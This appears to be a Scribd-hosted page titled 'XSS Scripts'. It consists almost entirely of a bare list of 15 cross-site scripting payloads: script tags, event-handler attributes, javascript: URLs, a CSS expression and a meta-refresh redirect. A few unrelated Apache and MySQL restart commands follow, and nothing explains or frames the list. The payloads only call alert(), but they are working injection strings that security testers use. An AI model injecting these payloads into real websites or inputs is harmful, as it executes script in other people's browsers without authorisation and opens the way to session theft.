0% found this document useful (0 votes)
5 views

XSS Scripts

Uploaded by

Raihan Patel
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views

XSS Scripts

Uploaded by

Raihan Patel
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 1

1.

<script>alert('XSS');</script>
2. <img src="invalid" onerror="alert('XSS')">
3. <a href="javascript:alert('XSS')">Click Me</a>
4. <input autofocus onfocus="alert('XSS')">
5. <div onmouseover="alert('XSS')">Hover Over Me</div>
6. <svg onload="alert('XSS')"></svg>
7. <body onload="alert('XSS')"></body>
8. <form action="javascript:alert('XSS')"><input
type="submit"></form>
9. <iframe src="javascript:alert('XSS')"></iframe>
10. <style>*{xss:expression(alert('XSS'))}</style>
11. <input type="text" value="XSS" onfocus="alert('XSS')">
12. <div style="background-image:
url('javascript:alert(`XSS`)')"></div>
13. <button onclick="alert('XSS')">Click Me</button>
14. <object data="javascript:alert('XSS')"></object>
15. <meta http-equiv="refresh"
content="0;url=https://www.google.com">

Service apache2 restart

Service mysql restart OR service mariadb restart

Sudo systemctl restart apache2

You might also like